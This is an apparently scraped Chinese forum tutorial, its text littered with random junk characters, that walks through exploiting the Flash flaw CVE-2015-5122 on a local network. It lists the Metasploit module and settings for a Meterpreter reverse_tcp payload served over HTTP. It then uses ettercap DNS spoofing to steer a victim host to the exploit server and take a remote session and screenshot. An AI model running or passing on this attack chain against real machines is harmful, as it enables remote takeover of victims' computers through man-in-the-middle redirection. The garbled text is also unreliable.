cve2015-5122漏洞实例演示虚拟机

admin

3 {6 ?9 Z3 y# w; U/ z 二、cve2015-5122漏洞实例演示虚拟机 " r7 n! B3 P% Q: d6 S, \/ i

% N6 _4 j. |$ u9 B& }, ~

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

# m7 x! p5 d- a# }

8 i4 e/ U0 I" S' T3 ~" y8 n* n search cve-2015-5122如图：

 

+ P: ^$ @; O( I) A) u8 j 下面我们敲如下命令： / n0 O8 e1 @5 r6 q

6 r3 L$ g, A, @ K6 z6 q

use exploit/multi/browser/adobe_flash_opaque_background_uaf

% g/ U% }' W! g( ?% r4 ?

" P1 T& n1 b: h- Y set PAYLOAD windows/meterpreter/reverse_tcp

* o8 F! H, i1 e: w5 f) Y. ^/ X- u

set LHOST 192.168.0.109

3 P( i( `/ y& W. E) O set URIPATH /                        /*根目录*/

/ l: K5 H3 b( ?8 \* Y

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 3 w$ l2 O3 ~: q/ W4 z) z

8 C- Q0 `/ }: }" j' E4 O set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

( N/ z c5 }* `$ W7 j0 r+ s8 S

" N4 _% u, a' F- P" @0 @# \- G+ g 然后show options如图： 9 S1 f2 y. ]) F2 \$ {4 O

9 S1 \, K, t# ~# T" C

 

6 G' l6 J3 j5 I: m) }# ^' [# ]

3 S: O8 Z9 y0 r t/ g# k 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
% W8 ?8 u3 U8 O2 m8 W

4 t% a" c0 q1 u: g3 L' s9 z

$ J* O9 x+ i, g. j4 H 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 ( Q. f& d: `3 s4 g" U6 i; v) ^

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf ; ~& A0 O! u: d0 o" I

+ g, D% N" {* M9 g  

4 }# }5 `' D* F8 {& ?/ i

- g0 z. E' S; ` 成功了，这时候我们断开ettercap，如图：

 

% n0 L2 v: j# m% M4 T# G

) x8 C3 I( B9 j B% y% _+ J g5 i I# V9 V/ M Screenshot如图：

7 ]7 n" n6 ^* F

  6 @5 q v: e: f1 x" B U1 H U

7 H; t$ X/ W( H* v5 d8 B( T" ?

3 P0 ~- ~6 e5 i3 C